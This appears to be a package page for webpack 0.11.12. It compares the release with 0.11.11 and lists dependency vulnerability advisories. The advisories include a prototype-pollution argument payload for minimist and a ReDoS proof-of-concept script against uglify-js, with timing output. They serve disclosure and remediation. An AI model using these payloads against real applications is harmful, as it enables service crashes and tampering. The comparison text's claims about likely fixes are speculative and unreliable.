Webpack version 0.11.12 arrived shortly after 0.11.11, marking a quick iteration in the early stages of this powerful module bundler. Both versions share the same core functionality: packing CommonJs, AMD, and labeled modules for browser deployment. They enable splitting codebases into manageable bundles for on-demand loading and support loaders for preprocessing various file types like JSON, Jade, CoffeeScript, CSS, and LESS. The dependency list remains consistent, relying on packages like async, clone, mkdirp, esprima, tapable, optimist, uglify-js, webpack-core, base64-encode, enhanced-resolve, and node-libs-browser. Similarly, the development dependencies, crucial for testing and extending webpack's capabilities, are identical, featuring loaders such as css-loader, raw-loader, url-loader, and plugins like i18n-webpack-plugin and component-webpack-plugin.
The key difference between the two releases lies in their release dates, with version 0.11.12 appearing approximately a week after 0.11.11. While the metadata doesn't specify particular bug fixes or feature additions, the rapid release cycle suggests that 0.11.12 likely addresses minor issues or refinements found in the preceding version. For developers, this increment signifies a commitment to rapid improvement and bug resolution. While both versions provide essential module bundling capabilities, opting for the slightly newer version 0.11.12 is generally advisable due to the likelihood of incorporating recent fixes and optimizations, ensuring a more robust and stable development experience.
All the vulnerabilities related to the version 0.11.12 of the package
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.